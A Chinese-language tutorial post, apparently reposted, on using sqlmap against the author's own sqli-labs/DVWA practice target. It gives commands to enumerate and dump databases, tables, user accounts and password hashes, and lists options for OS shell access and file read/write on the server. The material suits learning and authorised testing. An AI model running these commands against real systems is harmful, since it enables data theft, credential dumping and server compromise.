sqlmap


寫在前面

  遇到SQL注入就sqlmap一把梭,有一說一,這個工具確實好用,不過還是要了解SQL注入原理,不然只能做個腳本小子,簡單了解一下 https://www.cnblogs.com/Lee-404/p/12795193.html

  這篇也只是我學習sqlmap的總結而已,感興趣的可以去找相關資料深度學習,sqlmap是基於python2.7的,所以在py3的環境下是無法使用的,當然,你可以修改源碼ORZ,我這里就直接用kali和搭建好sqli環境了。 https://www.cnblogs.com/Lee-404/p/12787190.html

 

sqlmap使用

  介紹之前,先簡單了解一下sqlmap的參數,可以利用 sqlmap -h 查詢,這里簡單介紹幾個常用的

-u URL
-r 文件
--dbs 獲取庫名
-D 庫名
--tables 獲取表名
-T 表名
--columns 獲取字段名
-C 字段名
--dump 獲取字段值
--users 獲取數據庫用戶
--passwords 獲取數據庫用戶密碼
--current-db 獲取當前數據庫
--current-user 獲取當前數據庫用戶
--batch 跳過確認

 

  直接注入

  1、首先判斷是否存在注入

 

 

   發現id參數可控,可能有SQL注入,唆哈

sqlmap -u http://192.168.43.167/sql/Less-1/?id=1 --batch

 

 

   2、查詢數據庫

sqlmap -u http://192.168.43.167/sql/Less-1/?id=1 --dbs --batch

  其實到這一步,查哪個庫已經無所謂了,因為整個數據庫的內容全暴露了,可以為所欲為。一般滲透測試中到這一步就可以了,再下去要出事,不過這是我自己的靶機無所謂

 

   3、查詢指定數據庫的表

sqlmap -u http://192.168.43.167/sql/Less-1/?id=1 -D dvwa --tables --batch

 

 

   4、查詢指定表的字段值

sqlmap -u http://192.168.43.167/sql/Less-1/?id=1 -D dvwa -T flag --columns --batch

 

 

   5、查詢值

sqlmap -u http://192.168.43.167/sql/Less-1/?id=1 -D dvwa -T flag -C flag --dump --batch

 

 

 

  文本注入

  從文本中保存一個HTTP請求,sqlmap會加載這個文件獲取請求,通常在POST提交表單使用,這個要配合抓包軟件使用,如一個文件保存着:

GET /sql/Less-1/?id=1 HTTP/1.1
Host: 192.168.43.167
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
sqlmap -r test.txt --batch

 

 

   接下來就和直接用URL注入沒區別了

 

  其他

sqlmap -u http://192.168.43.167/sql/Less-1/?id=1 --users --batch

 

sqlmap -u http://192.168.43.167/sql/Less-1/?id=1 --passwords --batch


sqlmap -u http://192.168.43.167/sql/Less-1/?id=1 --current-db --batch

 

 
         

 sqlmap -u http://192.168.43.167/sql/Less-1/?id=1 --current-user --batch
 

sqlmap進階參數

--level    探測等級
--is-db    當前用戶是否是管理員
--roles    列處數據庫管理角色
--referer    HTTP referer頭
--sql-shell    自定義SQL語句
--os-cmd,--os-shell    任意操作系統命令
--file-read    從服務器中讀取文件
--file-write    上傳文件到服務器
--tamper    加載繞過腳本


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM